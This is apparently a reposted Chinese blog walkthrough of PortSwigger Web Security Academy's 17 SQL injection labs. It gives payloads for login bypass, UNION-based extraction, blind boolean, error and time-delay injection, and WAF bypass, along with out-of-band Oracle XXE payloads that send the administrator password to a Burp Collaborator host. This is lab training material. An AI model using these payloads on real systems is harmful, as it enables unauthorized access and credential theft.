0


BurpSuit官方实验室之SQL注入

BurpSuit官方实验室之SQL注入

这是BurpSuit官方的实验室靶场,以下将记录个人SQL注入共17个Lab的通关过程

Web Security Academy: Free Online Training from PortSwigger

lab1:

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

WHERE子句中的SQL注入漏洞允许检索隐藏数据

进来发现如下商品页面

在这里插入图片描述

选择一个标签如Lifestyle会通过/filter?category=Lifestyle接口自动搜索相关内容
在这里插入图片描述

尝试注释掉后面的限制如limit、order by等,出现了4个信息,证明注释生效了存在sql注入
在这里插入图片描述

加入or 1=1,显示全部商品
在这里插入图片描述

lab2:

SQL injection vulnerability allowing login bypass

允许绕过登录的SQL注入

同样是一个商品界面,发现登录入口
在这里插入图片描述

登录界面
在这里插入图片描述

它的请求包如下,administrator用户存在并注释掉了后面的密码,成功跳转my-account页面

在这里插入图片描述

直接在登录框输入,administrator’-- 密码任意
在这里插入图片描述

成功绕过登录

在这里插入图片描述

lab3:

SQL injection UNION attack, determining the number of columns returned by the query

SQL注入联合攻击,确定查询返回的列数

进入到了如下页面

在这里插入图片描述

点击Lifestyle标签有如下请求包,和lab1有点像

在这里插入图片描述

关卡名称提示SQL injection UNION attack,需要先判断查询的字段,进行探测,结果都成功返回

' order by 1--
' order by 2--
' order by 3--

在这里插入图片描述

继续探测,报错证明查询的字段数为3

' order by 4--

在这里插入图片描述

利用联合查询成功通关

union select NULL,NULL,NULL--

在这里插入图片描述

lab4:

SQL injection UNION attack, finding a column containing text

SQL注入联盟攻击,找到一个包含文本的列

同样用

' order by 1--

探测出查询的字段数,然后联合查询,回显提示字符串

在这里插入图片描述

成功过关
在这里插入图片描述

lab5:

SQL injection UNION attack, retrieving data from other tables

SQL注入联合攻击,从其他表中检索数据

通过

' order by 2--

判断查询字段数为2

根据提示查询users表的username和password字段
在这里插入图片描述
在这里插入图片描述

利用拿到的账号密码登录

administrator
r9p7687yedddtfy9ugd5

在这里插入图片描述

lab6:

SQL injection UNION attack, retrieving multiple values in a single column

SQL注入联合攻击,在一列中检索多个值

同样通过order by判断字段数为2

想用lab5的方式一样查找,表users的username与password,但是不行了

在这里插入图片描述

根据提示一行多值,利用Oracle数据库的连接符||进行查询

在这里插入图片描述

利用拿到的账号密码进行登录

administrator:q1g44lzx12wu6k5zag77

lab7:

SQL injection attack, querying the database type and version on Oracle

SQL注入攻击,在Oracle上查询数据库类型和版本

order by 

判断字段数为2

利用Oracle查询语句

SELECT BANNER FROM v$version

在这里插入图片描述

lab8:

SQL injection attack, querying the database type and version on MySQL and Microsoft

SQL注入攻击,在MySQL和Microsoft上查询数据库类型和版本

首先还是

order by

判断字段数为2 注释用–+或#
在这里插入图片描述

lab9:

SQL injection attack, listing the database contents on non-Oracle databases

SQL注入攻击,列出非Oracle数据上的数据库内容

order by

判断字段数为2

利用如下sql查表

SELECT table_name FROM information_schema.tables

在这里插入图片描述

找到疑似用户表users_dnbohi

利用如下sql查字段

SELECT column_name FROM information_schema.columns WHERE table_name='users_dnbohi'

在这里插入图片描述

直接拿字段查询数据库

password_aizsso

username_yeoepo
在这里插入图片描述

使用administrator登录即可

lab10:

SQL injection attack, listing the database contents on Oracle

SQL注入攻击,列出Oracle上的数据库内容

Oracle找表

SELECT table_name FROM all_tables

在这里插入图片描述

找到疑似用户表USERS_YSPAXZ

利用构造如下SQL查表中字段

SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS_YSPAXZ'

在这里插入图片描述

根据获得的字段查表
在这里插入图片描述

拿到administrator用户进行登录

lab11:

Blind SQL injection with conditional responses

具有条件反应的SQL盲注

根据目标提示,SQL注入存在Cookie中,查询成功有Welcome back的回显但没有数据的回显,给了表和字段,让我们查到administrator用户的账号密码

在这里插入图片描述

正常状态下的回显点

在这里插入图片描述

修改测试Cookie值

正常:

TrackingId=IbtFgRW3fsOqScJZ' AND '1'='1

在这里插入图片描述

而当以下状态则无回显

TrackingId=IbtFgRW3fsOqScJZ' AND '1'='2

在这里插入图片描述

ps:遇到这种盲注的还是得上脚本跑,不过既然是bp的实验室就只用bp不作弊了。

验证存在users表

TrackingId=IbtFgRW3fsOqScJZ' AND (SELECT 'tpa' FROM users LIMIT 1)='tpa;

在这里插入图片描述

验证users表中存在administrator用户

AND (SELECT 'tpa' FROM users WHERE username='administrator')='tpa

在这里插入图片描述

验证administrator用户密码的长度

TrackingId=IbtFgRW3fsOqScJZ' AND (SELECT 'tpa' FROM users WHERE username='administrator' AND LENGTH(password)>1)='tpa;

增加数值进行爆破
在这里插入图片描述

直接爆破100次

在这里插入图片描述

最终判断出密码为20位
在这里插入图片描述

接下来爆破这20位密码,其中利用了SUBSTRING函数

MySQL 中获取子串函数SUBSTRING(s,n,len) 带有len 参数的格式,从字符串s 返回一个长度同len 字符相同的子字符串,起始于位置n。

TrackingId=IbtFgRW3fsOqScJZ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

需要使用Cluster bomb模块,爆破如下两个点

在这里插入图片描述

设置第一个payload

在这里插入图片描述

设置第二个payload

在这里插入图片描述

爆破出密码

在这里插入图片描述

得到密码

eiuykiw2hve9iksu5zg4

进行登录

lab12:

Blind SQL injection with conditional errors

有条件误差的SQL盲注

这题和lab13一样也在Cookie存在注入点

当Cookie,如下出现异常

TrackingId=QK2186qbcVnsom7d'

而当如下则正常,说明带入了数据库查询中存在SQL注入

TrackingId=QK2186qbcVnsom7d''

当Cookie为,回显正常,说明为Oracle数据库

TrackingId=QK2186qbcVnsom7d'||(SELECT '' FROM dual)||';

确定users表存在

# WHERE ROWNUM = 1 用于限定仅仅返回一行数据
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE ROWNUM = 1)||';

在这里插入图片描述

确定表中存在administrator

# 正常,tpa不存在,SELECT '' 不会导致异常
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE username='tpa')||';
# 正常,tpa不存在,SELECT TO_CHAR(1/0) 也不会导致异常
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE username='tpa')||';
# 正常,administrator存在,SELECT '' 不会导致异常
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE username='administrator')||';

在这里插入图片描述

# 异常,administrator存在,SELECT TO_CHAR(1/0) 会导致异常
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0)
ELSE '' END FROM users WHERE username='administrator')||';

在这里插入图片描述

确定password的字段数

# 异常即LENGTH(password)>条件满足,测试找到正常时的长度值
TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN LENGTH(password)>1
THEN+TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';

爆破得到密码为20位

在这里插入图片描述

继续爆破密码同lab11

TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN SUBSTR(password,1,1)='a'
THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';

在这里插入图片描述

得到密码

ykx431jx1rnwz1qirwe1

lab13:

Bind SQl injection with time delays

具有时间延迟的SQL盲注

时间延迟

Oracle    dbms_pipe.receive_message(('a'),10)
Microsoft    WAITFOR DELAY '0:0:10'
PostgreSQL    SELECT pg_sleep(10)
MySQL    SELECT sleep(10)

成功利用pg_sleep(10)完成10秒延迟

TrackingId=QK2186qbcVnsom7d'||pg_sleep(10)--;

lab14:

Blind SQL injection with time delays and information retrieval

时间SQL盲注与信息检索

case语句确认:

#延时,%3B为分号URL编码,使得cookie查询执行后,执行SQL 
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
#不延时
'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

判断administrator是否存在

#不延时
'%3BSELECT+CASE+WHEN+(username='tpa')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
#延时
'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

判断密码字段长度为20

#延时
'%3BSELECT+CASE+WHEN+
(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
#不延时
'%3BSELECT+CASE+WHEN+
(username='administrator'+AND+LENGTH(password)>20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

爆破密码观察延时记录

'%3BSELECT+CASE+WHEN+
(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

爆破和之前一样,但必须要开单线程否则时间影响判断

在这里插入图片描述

3frfbconkxofsl9luia0

lab15:

Blind SQL injection with out-of-band interaction

带外交互的盲SQL注入

在Burp菜单中,启动Burp Collaborator client

DNS回显

TrackingId=vsVGPg9k549Xo6Cl'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//4hmbtgow2l3nn7ibp4pr2ov9r0xqlf.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

在这里插入图片描述

lab16:

Blind SQL injection with out-of-band data exfiltration

带外数据泄漏的盲SQL注入

TrackingId=Ifp0Hk2INB4OuswfX'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.xij43u68zv8n2jpslrd0w7nt4kaayz.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

在这里插入图片描述

拿到密码

在这里插入图片描述

lab17:

SQL injection with filter bypass via XML encoding

通过XML编码绕过过滤器的SQL注入

这次页面比较特殊没看到按钮,只有view details的按钮,点进去

在这里插入图片描述

发现新按钮

在这里插入图片描述

点击生成如下请求包,当为

<storeId>1<storeId>

返回742units
在这里插入图片描述

当为

<storeId>2<storeId>

返回561units

在这里插入图片描述

测试是否存在数学表达式替换ID

使用

<storeId>1+1<storeId>

,成功查到

<storeId>2<storeId>

的结果
在这里插入图片描述

追加 UNION SELECT NULL,被WAF侦测到攻击阻止

在这里插入图片描述

利用 Hackvertor插件转十六进制实体成功绕过(units不一样是因为环境timeout重开了)

在这里插入图片描述

以为只能返回一列,将用户名密码连接起来,得到用户密码

1 UNION SELECT username || ':' || password FROM users

在这里插入图片描述

标签: web安全 sql web

本文转载自: https://blog.csdn.net/qq_18980147/article/details/127827431
版权归原作者 tpaer 所有, 如有侵权,请联系我们删除。

“BurpSuit官方实验室之SQL注入”的评论:

还没有评论